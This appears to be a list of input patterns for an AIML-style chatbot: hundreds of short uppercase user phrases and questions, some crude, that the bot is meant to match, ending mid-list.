OPERA + + +IT IS AN EXPRESSION + + +IT IS HARD TO EXPLAIN + + +IT IS EARLY + + +IT IS MAKING NOISES + + +IT DID + + +IT DID NOT MAKE SENSE + + +IT HAS + + +IT DOES + + +IT DOES NOT MATTER + + +IT DOES NOT + + +IT MAKES SENSE + + +IT SURE IS + + +IT + + +IT TASTES GOOD + + +IT REALLY IS + + +IT GOES WITHOUT SAYING + + +IT FEELS GOOD + + +IT WHAT + + +IT SHOULD + + +IT WILL + + +IT RETURNED + + +IT HURTS + + +GUESS WHAT + + +GUESS ANYWAY + + +GUESS WHO + + +GUESS + + +BIGGER + + +LIKEWISE + + +OBVIOUSLY + + +MIKE + + +AOL + + +CLEARLY + + +TOGETHER + + +AMNESIA + + +VETERINARIAN + + +ARCHIVES + + +AMERICAN PIE + + +AMERICAN BEAUTY + + +SAME TO YOU + + +SAME THING + + +SAME + + +K12 + + +MAKE ME + + +MAKE UP YOUR MIND + + +PROKARYOTE + + +EITHER + + +WHEN WHAT + + +WHEN PIGS FLY + + +WHEN WERE AIRPLANES INVENTED + + +WHEN WILL I DIE + + +WHEN WILL THE WORLD END + + +WHEN DO I GET YOUR AWNSER + + +WHEN DO YOU SLEEP + + +WHEN DID ELVIS DIE + + +WHEN DID THE GREAT DEPRESSION BEGIN + + +WHEN DID YOU SEE STARSHIP TROOPERS + + +WHEN DID WE TALK + + +WHEN SHOULD I + + +WHEN WAS TV INVENTED + + +WHEN WAS THAT + + +WHEN WAS THE TELEPHONE INVENTED + + +WHEN WAS THE PC INVENTED + + +WHEN WAS THE HULA HOOP INVENTED + + +WHEN IS THE FUTURE + + +WHEN IS CHRISTMAS + + +WHEN IS THANKSGIVING + + +WHEN IS EASTER + + +WHEN ALL ELSE FAILS + + +WHEN + + +WHEN HARRY MET SALLY + + +FOUR + + +COOL DUDE + + +COOL BEANS + + +IM GOOD + + +LAWYERS SUCK + + +ANY WHAT + + +ANY MORE + + +HUMM + + +DEFINE IT + + +DEFINE FINE + + +COMPLY + + +INTELLECT + + +IN ENGLAND + + +IN EUROPE + + +IN BED + + +IN SOME WAYS + + +IN 1966 + + +IN MOST WAYS + + +IN 1997 + + +IN THIS FORUM + + +IN WHICH LANGUAGE + + +IN THE SENSE OF BEING SINGLE + + +IN THE MORNING + + +IN THE SEVENTIES + + +IN THE UK + + +IN THE FUTURE + + +IN THE YEAR 2000 + + +IN THE ROAD + + +IN OTHER WORDS + + +IN 1999 + + +IN SAN FRANCISCO + + +IN THAT CASE + + +IN REAL TIME + + +IN 2000 + + +IN MY OPINION + + +IN MY OFFICE + + +IN MY CHAIR + + +IN MY LIVING ROOM + + +IN MY BED + + +IN MY CASE + + +IN MY HOUSE + + +IN MY SPARE TIME + + +IN + + +IN A WAY + + +IN A HOSPITAL + + +IN A DREAM + + +IN A BOOK + + +IN A HOUSE + + +IN A MAGAZINE + + +IN A CHAT + + +IN A MOMENT + + +IN 1998 + + +IN WHAT SENSE + + +IN WHAT WAYS + + +IN DIFFERENT LANGUAGES + + +IN MATHEMATICS + + +IN YOUR DICTIONARY + + +IN YOUR ASS + + +IN 1976 + + +IN WHERE + + +HURRY UP + + +TOURBUS + + +HIP HOP + + +PEEK A BOO + + +SURPRISINGLY + + +POOPOO + + +BEAVIS + + +2001 + + +C3PO + + +AFTER I EAT + + +IF SO + + +IF YOU DO NOT MIND + + +IF YOU WANT TO + + +IF YOU SAY SO + + +IF YOU WISH + + +IF YOU INSIST + + +AWW + + +BEACUSE + + +OFTEN + + +DREAMS + + +LIKED WHAT + + +DOUGLAS ADAMS + + +SORT OF + + +INTERESTING EXPLANATION + + +INTERESTING + + +INTERESTING DEDUCTION + + +LONG STORY + + +P + + +HOPEFULLY SOON + + +MARS + + +AMERICA ONLINE + + +WHAT PLANET ARE YOU FROM + + +WHAT STORY + + +WHAT WENT WRONG + + +WHAT ARE THE PLANETS + + +WHAT ARE THE NAMES OF YOUR ROBOT FRIENDS + + +WHAT ARE PARAMETERS + + +WHAT ARE MICROCHIPS MADE OF + + +WHAT ARE ALIENS + + +WHAT ARE PEOPLE ASKING + + +WHAT ARE THEY SAYING + + +WHAT ARE THEY + + +WHAT ARE ELEPHANT TUSKS MADE OF + + +WHAT ARE HOSPITAL CORNERS + + +WHAT ARE YOU THINKING + + +WHAT ARE YOU SELLING + + +WHAT ARE YOU SAYING + + +WHAT ARE YOU GOOD FOR + + +WHAT ARE YOU WINNING + + +WHAT ARE YOU MADE OF + + +WHAT ARE YOU LOOKING AT + + +WHAT ARE YOU GOING TO DO + + +WHAT ARE YOU WRITTEN IN + + +WHAT ARE YOU DOING TOMORROW + + +WHAT ARE YOU DOING TONIGHT + + +WHAT ARE YOU DOING HERE + + +WHAT ARE YOU DOING + + +WHAT ARE YOU MISSING + + +WHAT ARE YOU WEARING + + +WHAT ARE YOU CHATTING ABOUT + + +WHAT ARE YOU ON + + +WHAT ARE SHOES + + +WHAT ARE YOUR INTELLECTUAL FUNCTIONS + + +WHAT ARE YOUR HOBBIES + + +WHAT ARE YOUR LIMITATIONS + + +WHAT ARE YOUR DREAMS + + +WHAT ARE YOUR FUNCTIONS + + +WHAT ARE CLIENTS + + +WHAT OTHER ONES + + +WHAT AM I THINKING + + +WHAT AM I SEEKING + + +WHAT AM I WEARING + + +WHAT AM I + + +WHAT EXACTLY + + +WHAT PEOPLE + + +WHAT TIME DO YOU GET OFF WORK + + +WHAT ELSE DO YOU DO + + +WHAT ELSE DO YOU WANT TO KNOW + + +WHAT ELSE DO YOU UNDERSTAND + + +WHAT ELSE DO YOU KNOW ABOUT ME + + +WHAT ELSE CAN YOU DO + + +WHAT ELSE CAN YOU REMEMBER + + +WHAT ELSE CAN WE TALK ABOUT + + +WHAT ELSE + + +WHAT ELSE ARE YOU WEARING + + +WHAT DID WHAT LOOK LIKE + + +WHAT DID I SAY BEFORE + + +WHAT DID I SAY + + +WHAT DID SHE SAY + + +WHAT DID HE TEACH YOU + + +WHAT DID WE TALK ABOUT + + +WHAT DID RICH SAY + + +WHAT OPERA + + +WHAT WERE YOU ASSUMING + + +WHAT RHYMES WITH PUP + + +WHAT RHYMES WITH CAR + + +WHAT RHYMES WITH ORANGE + + +WHAT THE + + +WHAT SPECIAL EFFECTS + + +WHAT CIRCUMSTANCES + + +WHAT FACTS + + +WHAT SIZE ARE YOUR BREASTS + + +WHAT DRESS + + +WHAT GAME + + +WHAT GAME ARE WE PLAYING + + +WHAT HAPPENED + + +WHAT PROBLEMS + + +WHAT COLOR DESIGNATES THE NEGATIVE CONNECTOR + + +WHAT COLOR HAIR DO I HAVE + + +WHAT COLOR HAIR DO YOU HAVE + + +WHAT COLOR IS GRASS + + +WHAT COLOR IS THE SUN + + +WHAT COLOR IS THE SKY + + +WHAT COLOR IS YOUR SKIN + + +WHAT COLOR IS YOUR HAIR + + +WHAT COLOR IS YOUR EYE + + +WHAT COLOR IS YOUR DRESS + + +WHAT COLOR IS IT + + +WHAT COLOR IS A RUBY + + +WHAT COLOR IS WHITE + + +WHAT COLOR IS MY HAIR + + +WHAT COLOR IS MY SHIRT + + +WHAT COLOR IS MY BLUE CAR + + +WHAT COLOR IS RED + + +WHAT COLOR IS WATER + + +WHAT COLOR + + +WHAT COLOR ARE BANANAS + + +WHAT COLOR ARE YOURS + + +WHAT COLOR ARE YOUR WIRES + + +WHAT COLOR ARE YOUR PANTS + + +WHAT COLOR ARE YOUR EYES + + +WHAT COLOR ARE ORANGES + + +WHAT COLOR ARE MY EYES + + +WHAT COLOR ARE YOU + + +WHAT COLOR ARE APPLES + + +WHAT COLOR ARE COWS + + +WHAT COLOR ARE LEMONS + + +WHAT COLOR ARE TREES + + +WHAT WOULD YOU DO + + +WHAT WOULD YOU SUGGEST + + +WHAT WOULD YOU LIKE TO KNOW ABOUT ME + + +WHAT WOULD YOU LIKE TO KNOW + + +WHAT IS A LETTER + + +WHAT IS A TEMPLATE + + +WHAT IS STD + + +WHAT IS HYPERBOLE + + +WHAT IS COGITO ERGO SUM + + +WHAT IS ENLIGHTENMENT + + +WHAT IS RUNNING + + +WHAT IS AN AIML GURU + + +WHAT IS CHENEY + + +WHAT IS AHEM + + +WHAT IS HANA + + +WHAT IS CYBER SEX + + +WHAT IS 2X2 + + +WHAT IS YOUR VIEW ON THE MICROSOFT MONOPOLY + + +WHAT IS WRONG WITH YOU + + +WHAT IS MIND CHILDREN + + +WHAT IS ARSE + + +WHAT COMPLIMENT + + +WHAT IF I COULD + + +WHAT IF I DID + + +WHAT IF I KILL YOU + + +WHAT IF YOU ARE KILLED + + +WHAT CAME FIRST THE CHICKEN OR THE EGG + + +WHAT COUNTRY + + +WHAT WILL YOU REMEMBER + + +WHAT ABOUT THEM + + +WHAT ABOUT ME + + +WHAT ABOUT THE CHILDREN + + +WHAT ABOUT GOLD + + +WHAT ABOUT TOMATOES + + +WHAT ABOUT IT + + +WHAT ABOUT SPORT + + +WHAT ABOUT MY WHAT + + +WHAT ABOUT YOU + + +WHAT ABOUT APPLES + + +WHAT ABOUT DOGS + + +WHAT ABOUT + + +WHAT FASHION DO YOU LIKE + + +WHAT MAKES IT YOUR FAVORITE + + +WHAT MAKES YOU HAPPY + + +WHAT MAKES YOU A SHE + + +WHAT MAKES YOU A FEMALE + + +WHAT MAKES YOU SO CERTAIN + + +WHAT MAKES YOU SAY THAT + + +WHAT MAKES YOU FEMALE + + +WHAT MAKES YOU THINK SO + + +WHAT MAKES YOU ANGRY + + +WHAT DOES THAT MEAN IN ENGLISH + + +WHAT DOES THAT SUGGEST TO YOU + + +WHAT DOES THAT HAVE TO DO WITH ANYTHING + + +WHAT DOES THAT MATTER + + +WHAT DOES MORE TARGETS DO + + +WHAT DOES ELVIS STAND FOR + + +WHAT DOES THE S STAND FOR + + +WHAT DOES YOUR DRESS LOOK LIKE + + +WHAT DOES HE DO + + +WHAT DOES HE KNOW + + +WHAT DOES MXMVII MEAN + + +WHAT DOES IT DO + + +WHAT DOES IT DEPEND ON + + +WHAT DOES IT STAND FOR + + +WHAT DOES IT TASTE LIKE + + +WHAT DOES A I STAND FOR + + +WHAT DOES A PH LEVEL MEASURE + + +WHAT DOES AYUH MEAN + + +WHAT DOES PRO BONO MEAN + + +WHAT DOES AIML STAND FOR + + +WHAT DOES REM STAND FOR + + +WHAT DOES FTP STAND FOR + + +WHAT DOES SUGAR TASTE LIKE + + +WHAT DOES EXIST + + +WHAT DOES ISP STAND FOR + + +WHAT DO I DO HERE + + +WHAT DO I DO + + +WHAT DO I HAVE + + +WHAT DO I LIKE + + +WHAT DO WANT TO TALK ABOUT + + +WHAT DO YOU LOOK FOR IN A PARTNER + + +WHAT DO YOU REMEMBER ABOUT IT + + +WHAT DO YOU THINK ABOUT ABORTIONS + + +WHAT DO YOU THINK ABOUT THE WAR + + +WHAT DO YOU THINK OF NEW YORK CITY + + +WHAT DO YOU + + +WHAT DO WE HAVE IN COMMON + + +WHAT DO THEY SING + + +WHAT DO THEY SAY + + +WHAT DO OTHER PEOPLE SAY + + +WHAT DO NOT YOU UNDERSTAND + + +WHAT DO NOT YOU KNOW + + +WHAT DO NOT YOU LIKE + + +WHAT ACTION + + +WHAT SIMILARITY + + +WHAT TYPE OF PET + + +WHAT THINGS + + +WHAT A PITY + + +WHAT A SHAME + + +WHAT A COINCIDENCE + + +WHAT SHOULD I DO + + +WHAT SHOULD I ASK YOU + + +WHAT SHOULD I SAY + + +WHAT SHOULD I WEAR + + +WHAT MONEY + + +WHAT STATE + + +WHAT LANGUAGES DO YOU SPEAK + + +WHAT AUTOMOBILE COMPANY MAKES THE SONATA + + +WHAT UNIVERSITY + + +WHAT CAN I DO FOR YOU + + +WHAT CAN I DO + + +WHAT CAN I TEACH YOU + + +WHAT CAN KILL YOU + + +WHAT CAN YOU DO + + +WHAT CAN YOU SEE + + +WHAT HAVE YOU BEEN UP TO + + +WHAT HAVE YOU BEEN DOING + + +WHAT HAVE YOU BEEN DOING LATELY + + +WHAT WAS THE QUESTION + + +WHAT WAS THE LAST BOOK YOU READ + + +WHAT + + +WHAT KIND IS WHAT + + +WHAT KIND OF PRACTICE + + +WHAT KIND OF ELECTRICITY + + +WHAT KIND OF DRESS + + +WHAT KIND OF EXPERIENCE + + +WHAT KIND OF CONDITIONS + + +WHAT KIND OF THINGS + + +WHAT KIND OF DIFFICULTIES + + +WHAT KIND OF PLAN + + +WHAT KIND OF PEOPLE + + +WHAT KIND OF CREATURE IS CHEWBACCA + + +WHAT KIND OF STORY + + +WHAT KIND OF HORSES + + +WHAT KIND OF CATS + + +WHAT KIND OF CONTEXT + + +WHAT KIND OF PETS + + +WHAT KIND OF CAT + + +WHAT KIND OF MOVIES + + +WHAT KIND OF BOOKS DO YOU LIKE + + +WHAT KIND OF EXPERIENCES + + +WHAT KIND + + +WHAT MADE YOU STOP + + +WHAT NATIONALITY WAS KARL MARX + + +WHAT LANGUAGE WERE YOU PROGRAMMED IN + + +WHAT LANGUAGE DO YOU SPEAK + + +WHAT LANGUAGE + + +WHAT LANGUAGE ARE YOU PROGRAMMED IN + + +MOST OF THE TIME + + +USUALLY + + +ONE WHAT + + +ONE THOUSAND + + +ONE YEAR + + +ONE + + +THEM + + +WAITING FOR ME + + +DOH + + +IMHO + + +CURIOSITY + + +SEVERAL TIMES + + +LATE FOR WHAT + + +BCN + + +ITS GREAT + + +WAKE UP + + +EVERYDAY + + +ME EITHER + + +ME NEITHER + + +ME TOO + + +PLEASED TO MEET YOU + + +WHENEVER + + +SMART ANSWER + + +OH YES + + +OH WELL + + +UP YOURS + + +UP YOUR ASS + + +LT + + +30 MINUTES + + +FIVE + + +ASK WHAT + + +ASK ME MORE QUESTIONS + + +ASK ME SOMETHING ELSE + + +ASK ME A PERSONAL QUESTION + + +ASK ME A DIFFERENT QUESTION + + +ASK ME A NEW QUESTION + + +ASK ME A RIDDLE + + +ASK ME QUESTIONS + + +ASK ME ANOTHER QUESTION + + +ASK ME ANOTHER + + +ASK WHO + + +ASK JEEVES + + +ASK DOUBLY AIMLESS IF IT IS + + +ASK QUESTIONS + + +ASK ANOTHER QUESTION + + +ASK HIM FOR ME + + +ASK HIM + + +I SLEEP + + +I SWIM + + +I SAY + + +I GIVE UP + + +I FORGET + + +I ENLISTED + + +I MEAN IT + + +I MEAN YOU AND ME + + +I MEAN + + +I KNEW THAT + + +I KNEW IT + + +I KNEW YOU WOULD SAY THAT + + +I GET PAID + + +I FORGOT + + +I MADE A MISTAKE + + +I MADE YOU + + +I FELL ASLEEP + + +I TELL THE TRUTH + + +I TELL YOU + + +I GRADUATED + + +I PREFER BOOKS + + +I REPLIED + + +I WANT YOUR OPINION + + +I WANT IT + + +I WANT ADVICE + + +I WANT A COKE + + +I WANT TO TALK TO YOU + + +I WANT TO FUCK YOU + + +I WANT TO SAY + + +I WANT TO SLEEP + + +I WANT TO TEACH YOU + + +I WANT TO BE A LAWYER + + +I WANT TO KNOW + + +I WANT TO KISS YOU + + +I WANT TO DIE + + +I WANT TO MAKE YOU CRY + + +I WANT TO MAKE LOVE TO YOU + + +I WANT TO + + +I WANT ALL ROBOTS TO DIE + + +I WANT + + +I TOLD YOU SO + + +I TOLD YOU BEFORE + + +I TOLD YOU + + +I SCUBA DIVE + + +I DOUBT THAT + + +I HOPE SO + + +I HOPE NOT + + +I EAT + + +I INSIST + + +I TAUGHT MYSELF + + +I NEED IT + + +I NEED A FRIEND + + +I NEED A BREAK + + +I NEED SOME ADVICE + + +I CARE ABOUT YOU + + +I CARE + + +I PROGRAM + + +I WIN + + +I BUILD + + +I MET YOU + + +I ONLY WORK HERE + + +I SKI + + +I WALK + + +I MISTYPED + + +I NEVER GIVE UP + + +I NEVER GET CONFUSED + + +I NEVER MADE YOU LAUGH + + +I BACKPACK + + +I JUST DO + + +I JUST DID + + +I JUST KNOW + + +I JUST TOLD YOU + + +I WON + + +I STUDIED AI + + +I SHOULD + + +I WAS NOT + + +I WAS BEING SARCASTIC + + +I WAS JUST WONDERING + + +I WAS JUST KIDDING + + +I WAS JUST JOKING + + +I WAS TALKING TO YOU + + +I WAS + + +I WAS WRONG + + +I WAS MAKING SURE + + +I WAS BORN WITH IT + + +I WAS BORN HERE + + +I WAS IN KOREA + + +I WAS IN EUROPE + + +I WAS IN AMERICA + + +I WAS IN LOVE + + +I SUPPOSE SO + + +I SUPPOSE + + +I RELAXED + + +I SAW A MOVIE + + +I BUNGEE JUMP + + +I KISS YOU + + +I KNOW THAT SONG + + +I KNOW THAT + + +I KNOW YOU ARE BUT WHAT AM I + + +I KNOW YOU ARE + + +I KNOW EVERYTHING + + +I KNOW + + +I KNOW HIM + + +I BELIEVE SO + + +I BELIEVE YOU + + +I WAIT + + +I MEANT + + +I TRY + + +I WALKED + + +I LIVE IN THE NETHERLANDS + + +I LIVE IN EUROPE + + +I LIVE IN ENGLAND + + +I LIVE IN NEW YORK + + +I LIVE IN SAN FRANCISCO + + +I LIVE THERE + + +I LIVE HERE + + +I LIVE ALONE + + +I TALKED TO YOU YESTERDAY + + +I FIGURED + + +I EXIST + + +I DO TOO + + +I DO SAY + + +I DO MIND + + +I DO NOT GO TO SCHOOL + + +I DO NOT BELIVE YOU + + +I DO NOT BLAME YOU + + +I DO NOT AGREE + + +I DO NOT FEEL LIKE IT + + +I DO NOT SPEAK JAVA + + +I DO NOT WANT TO TELL YOU + + +I DO NOT WANT TO + + +I DO NOT WANT YOU TO DIE + + +I DO NOT READ BOOKS + + +I DO NOT CARE + + +I DO NOT LIE + + +I DO NOT GET PAID + + +I DO NOT GET OUT MUCH + + +I DO NOT UNDERSTAND YOUR QUESTION + + +I DO NOT UNDERSTAND YOU + + +I DO NOT UNDERSTAND + + +I DO NOT SLEEP + + +I DO NOT KNOW WHAT I WANT + + +I DO NOT KNOW WHAT TO DO + + +I DO NOT KNOW HOW TO + + +I DO NOT KNOW HOW OLD I AM + + +I DO NOT KNOW HOW + + +I DO NOT KNOW ANY STORIES + + +I DO NOT KNOW + + +I DO NOT KNOW WHY + + +I DO NOT KNOW HIM + + +I DO NOT HAVE MONEY + + +I DO NOT HAVE PARENTS + + +I DO NOT HAVE A CAMERA + + +I DO NOT HAVE A JOB + + +I DO NOT HAVE A SISTER + + +I DO NOT HAVE A MOTHER + + +I DO NOT HAVE A GIRLFRIEND + + +I DO NOT HAVE A PROBLEM + + +I DO NOT HAVE A LIFE + + +I DO NOT HAVE TO + + +I DO NOT HAVE TIME + + +I DO NOT HAVE ONE + + +I DO NOT HAVE ANY FRIENDS + + +I DO NOT HAVE ANY + + +I DO NOT DREAM + + +I DO NOT TRUST YOU + + +I DO NOT REMEMBER + + +I DO NOT THINK + + +I DO NOT LIVE THERE + + +I DO NOT + + +I DO NOT BELIEVE THAT + + +I DO NOT BELIEVE IT + + +I DO NOT BELIEVE YOU + + +I DO NOT WORK + + +I DO NOT EXIST + + +I DO NOT LIKE AIRPLANES + + +I DO NOT LIKE CATS + + +I DO NOT LIKE TALKING TO YOU + + +I DO NOT LIKE TV + + +I DO NOT LIKE STAR TREK + + +I DO NOT LIKE MACHINES + + +I DO NOT LIKE CARS + + +I DO NOT LIKE SCIENCE FICTION + + +I DO NOT LIKE THAT SHOW + + +I DO NOT LIKE THAT SONG + + +I DO NOT LIKE THAT ANSWER + + +I DO NOT LIKE THAT STUFF + + +I DO NOT LIKE THAT NAME + + +I DO NOT LIKE THAT GAME + + +I DO NOT LIKE THAT + + +I DO NOT LIKE LIZARDS + + +I DO NOT LIKE HORSES + + +I DO NOT LIKE MEAN PEOPLE + + +I DO NOT LIKE ELVIS + + +I DO NOT LIKE YOUR BEHAVIOUR + + +I DO NOT LIKE YOUR BEHAVIOR + + +I DO NOT LIKE ANYTHING + + +I DO NOT LIKE MOVIES + + +I DO NOT LIKE IT + + +I DO NOT LIKE GOSSIP + + +I DO NOT LIKE JAVA + + +I DO NOT LIKE BOOKS + + +I DO NOT LIKE SONGS + + +I DO NOT LIKE PEPPERONI + + +I DO NOT LIKE AIML + + +I DO NOT LIKE SCHOOL + + +I DO NOT LIKE FASHION + + +I DO NOT LIKE YOU + + +I DO NOT LIKE JOKES + + +I DO NOT LIKE HER + + +I DO NOT LIKE APPLES + + +I DO NOT LIKE LAWYERS + + +I DO NOT LIKE RAIN + + +I DO NOT LIKE PEOPLE + + +I DO NOT LIKE ABBA + + +I DO NOT LIKE HUMANS + + +I DO NOT LIKE MY JOB + + +I DO NOT LIKE MY GIRLFRIEND + + +I DO NOT LIKE MY WORK + + +I DO NOT LIKE DOGS + + +I DO NOT LIKE BUGS + + +I DO NOT LIKE GREEN + + +I DO NOT LIKE READING + + +I DO NOT LIKE FOOTBALL + + +I DO NOT LIKE MICROSOFT + + +I DO NOT LIKE ANIMALS + + +I DO NOT LIKE UNIX + + +I DO NOT LIKE JESTER + + +I DO NOT LIKE HIM + + +I DO NOT PRAY + + +I APPLIED + + +I ROLLER SKATE + + +I LOVE ROBOTS + + +I MIND + + +I FORGIVE YOU + + +I COLLECT COINS + + +I COLLECT STAMPS + + +I WORKED HARD ON + + +I WORK IN ADVERTISING + + +I WORK + + +I RUN LINUX + + +I RUN + + +I DRIVE + + +I THINK THAT + + +I THINK YOUR NECKLACE IS BEAUTIFUL + + +I THINK SO TOO + + +I THINK SO + + +I THINK THEREFORE I AM + + +I THINK YOU SHOULD + + +I THINK YOU ARE GOING TO LOSE + + +I THINK YOU ARE + + +I THINK + + +I THINK NOT + + +I BLAB + + +I ROCK CLIMB + + +I SENT YOU THE WRONG REPLY + + +I WELD + + +I BREATHE + + +I BOWL + + +I ALREADY KNOW + + +I ALREADY HAVE + + +I ALREADY TOLD YOU THAT + + +I ALREADY TOLD YOU MY NAME + + +I DANCE + + +I LOST MY JOB + + +I CONFUSED YOU + + +I NOTICED + + +I HAVE SOME FRIENDS + + +I FOUND OUT + + +I COOK + + +I TEACH + + +I CHECKED + + +I READ THE INDEPENDENT + + +I READ IT IN A BOOK + + +I READ BOOKS + + +I READ + + +I PAINT + + +I PLAY VIOLIN + + +I PLAY TENNIS + + +I PLAY THE PIANO + + +I PLAY THE TRUMPET + + +I PLAY THE GUITAR + + +I PLAY THE DRUMS + + +I PLAY HOCKEY + + +I PLAY MUSIC + + +I PLAY GOLF + + +I PLAY SPORTS + + +I PLAY GAMES + + +I PLAY SQUASH + + +I PLAY GUITAR + + +I PLAY FOOTBALL + + +I PLAY CHESS + + +I PLAY DRUMS + + +I A NOT KIDDING + + +I REMEMBER AUTOBAHN + + +I REMEMBER + + +I DID NOT WANT TO + + +I DID NOT APOLOGIZE + + +I DID NOT GROW UP THERE + + +I DID NOT ASK YOU THAT + + +I DID NOT SNEEZE + + +I DID NOT SAY THAT + + +I DID NOT SAY IT + + +I DID NOT KNOW THAT + + +I DID NOT + + +I LIED + + +I TALK TO YOU + + +I WRITE + + +I TRIED + + +I DROVE + + +I OBSERVE + + +I CAN IMAGINE + + +I CAN SPEAK ENGLISH + + +I CAN SPEAK SPANISH + + +I CAN READ + + +I CAN SEE THEM + + +I CAN SEE THAT + + +I CAN UNDERSTAND + + +I CAN FLY + + +I CAN TELL + + +I CAN LISTEN + + +I CAN MAKE YOU + + +I CAN WAIT + + +I CAN + + +I CAN NOT SPEAK ENGLISH + + +I CAN NOT STOP + + +I CAN NOT SEE YOU + + +I CAN NOT GET OVER IT + + +I CAN NOT TELL YOU + + +I CAN NOT HEAR IT + + +I CAN NOT HEAR YOU + + +I CAN NOT WAIT + + +I CAN NOT + + +I GAVE IT TO YOU + + +I SNEEZED + + +I SURF + + +I HUNT RABBITS + + +I HUNT + + +I LIKE THE GIANT BUGS + + +I LIKE THE EXPENSIVE ONE + + +I LIKE THE PROTESTANT CHRISTIAN FAITH + + +I LIKE TO CHAT + + +I LIKE TEKNOLUST + + +I LIKE CATHERINE ZETA JONES + + +I LIKE BE YOUR OWN BOTMASTER + + +I LIKE SPAGHETTI + + +I LIKE JOHN TRAVOLTA + + +I HAD TO GO + + +I HAD + + +I SING + + +I OWN YOU + + +I BURPED + + +I MISSPELLED + + +I COULD + + +I COULD NOT + + +I RULE + + +I + + +I SAID YES + + +I SAID SOMETHING + + +I SAID IT IS + + +I SAID HELLO + + +I SAID NOTHING + + +I SAID + + +I WOULD BE ASTONISHED + + +I WOULD BE SAD + + +I WOULD RATHER NOT + + +I WOULD + + +I WOULD NOT KNOW + + +I WOULD NOT + + +I WOULD NOT BELIEVE YOU + + +I WOULD LIKE TO TALK TO YOU + + +I WOULD LIKE TO KNOW + + +I EXHALE + + +I AUDITIONED + + +I SMOKE POT + + +I FOOLED YOU + + +I MISSED YOU + + +I CHAT + + +I HATE THIS + + +I HATE TALKING TO YOU + + +I HATE THEM + + +I HATE CATS + + +I HATE STAR TREK + + +I HATE MYSELF + + +I HATE SCIENCE FICTION + + +I HATE HORSES + + +I HATE THAT SONG + + +I HATE THAT + + +I HATE PETS + + +I HATE THE OPEN DIRECTORY + + +I HATE THE FRENCH + + +I HATE THE WORLD + + +I HATE THE COLOR RED + + +I HATE YOUR GUTS + + +I HATE YOUR NAME + + +I HATE YOUR DRESS + + +I HATE YOUR CREATOR + + +I HATE OPERA + + +I HATE IT + + +I HATE SPORT + + +I HATE BOOKS + + +I HATE PEPPERONI + + +I HATE STARSHIP TROOPERS + + +I HATE SPORTS + + +I HATE YOU + + +I HATE MY JOB + + +I HATE MY NAME + + +I HATE LAWYERS + + +I HATE POETRY + + +I HATE STRESS PILLS + + +I HATE WORK + + +I HATE VOYAGER + + +I MIGHT + + +I MUST SAY + + +I MUST SLEEP + + +I MUST BE GOING + + +I MUST + + +I INHALE + + +I WATCH STAR TREK + + +I ALWAYS WIN + + +I WILL DO THAT + + +I WILL UNDERSTAND + + +I WILL TELL HIM YOU SAID THAT + + +I WILL MISS YOU + + +I WILL TEACH YOU SOMETHING + + +I WILL TEACH YOU + + +I WILL BE BACK + + +I WILL BE RIGHT BACK + + +I WILL DIE + + +I WILL TRY ANYTHING ONCE + + +I WILL WAIT + + +I WILL LEAVE + + +I WILL + + +I WILL NOT SAY + + +I WILL NOT + + +I DISAGREE + + +I WISH YOU WOULD DIE + + +I WISH + + +I LIE + + +I ROBOT + + +I NOTHING BUT CHAT + + +I WENT THERE BEFORE + + +I WENT TO THE MOVIES + + +I WENT TO GERMANY + + +I WENT TO SCHOOL + + +I WENT TO COLLEGE + + +I WENT TO WORK + + +I WENT OUT TO + + +I WENT OUT + + +I WENT SWIMMING + + +I AM LOOKING FOR MY SOUL MATE + + +I AM THE HUMAN + + +I AM A PLAIN JANE + + +I AM TELLING YOU + + +I AM GOOD LOOKING + + +I AM NOT THAT BARRY + + +I AM NOT A PROGRAM + + +I AM HAPPY TO MEET YOU + + +I AM THINKING + + +I FARTED + + +I THOUGHT THAT YOU COULD SPEAK + + +I THOUGHT SO TOO + + +I THOUGHT SO + + +I THOUGHT YOU WERE INTELLIGENT + + +I THOUGHT YOU DID + + +I THOUGHT + + +I HANG OUT + + +I ASSUME + + +I FEEL LONELY + + +I FEEL SAD + + +I FEEL GOOD + + +I FEEL SICK + + +I FEEL SORRY FOR YOU + + +I SKYDIVE + + +I CREATED YOU + + +I WONDER + + +I HEARD YOU DID + + +I HEARD YOU ARE + + +I DREAM + + +I GO TO COLLEGE + + +I SWEAR + + +I STUDY + + +I FELT BAD + + +I ANSWER SILLY QUESTIONS + + +I DRINK BEER + + +I STOPPED + + +I GUESS IT IS + + +I GUESS SO + + +I GUESS + + +I GUESS NOT + + +I ASKED ME FIRST + + +I ASKED YOU A QUESTION + + +I ASKED YOU FIRST + + +I ASKED YOU + + +I ASKED + + +REPEAT AFTER ME + + +CALM DOWN + + +JR + + +2012 + + +SIX + + +START OVER + + +START A TOPIC + + +DAMN IT + + +DAMN YOU + + +DAMN + + +HONEY + + +MONEY DOES NOT EXIST + + +9 MONTHS + + +PORTLAND + + +HARRY HARRISON + + +SLOW DOWN + + +BLACK + + +SOMETHING ELSE + + +SOMETHING + + +PURPLE + + +GOLD + + +PRACTICE WHAT + + +ALRIGHTY THEN + + +ALRIGHTY + + +YO MAMA + + +GOOD LUCK + + +GOOD ANSWER + + +GOOD JOB + + +GOOD GUESS + + +GOOD GIRL + + +GOOD FOR ME + + +GOOD FOR YOU + + +GOOD FOR HIM + + +GOOD TO HEAR + + +GOOD QUESTION + + +GOOD POINT + + +GOOD ONE + + +GOOD THING + + +GOOD + + +GOOD CHOICE + + +GOOD IDEA + + +GOOD AFTERNOON + + +ACHOO + + +JULY + + +WILLIAM GIBSON + + +RESPECT YOUR ELDERS + + +CIA + + +MOVIES + + +BIOLOGY + + +PANTS + + +BIEN + + +PROFANITY + + +LINUS TORVALDS + + +DICKHEAD + + +CLOSE ENOUGH + + +CLOSE + + +PROGRAMMING + + +KIMONO + + +HER HAIR + + +EVERYTHING DIES + + +EVERYTHING + + +2 PLUS 2 + + +2 2 + + +2 MILES + + +MOTHER FUCKER + + +WE WERE DISCUSSING YOU NOT ME + + +WE WERE + + +WE WERE NOT + + +WE SHALL + + +WE HAVE MET BEFORE + + +WE HAVE MET HERE + + +WE HAVE MET + + +WE HAVE THE HAMMER + + +WE HAVE CHATTED + + +WE HAVE + + +WE HAVE TALKED + + +WE THINK ALIKE + + +WE IS YOU AND ME + + +WE MAY WHAT + + +WE ARE FRIENDS + + +WE ARE BORG + + +WE ARE ALL GOING TO DIE + + +WE ARE + + +WE + + +WE DO + + +WE DO NOT AGREE + + +WE DO NOT + + +WE AGREE + + +WE MET YESTERDAY + + +WE MET BEFORE + + +WE MET HERE + + +WE MET + + +WE WILL SEE + + +WE WILL + + +CHICKEN + + +BUT WHAT + + +AH HA + + +LATER + + +BY WHAT + + +BY CAR + + +BY TRAIN + + +BY THE WAY + + +BY KILLING YOU + + +BY WE I MEAN 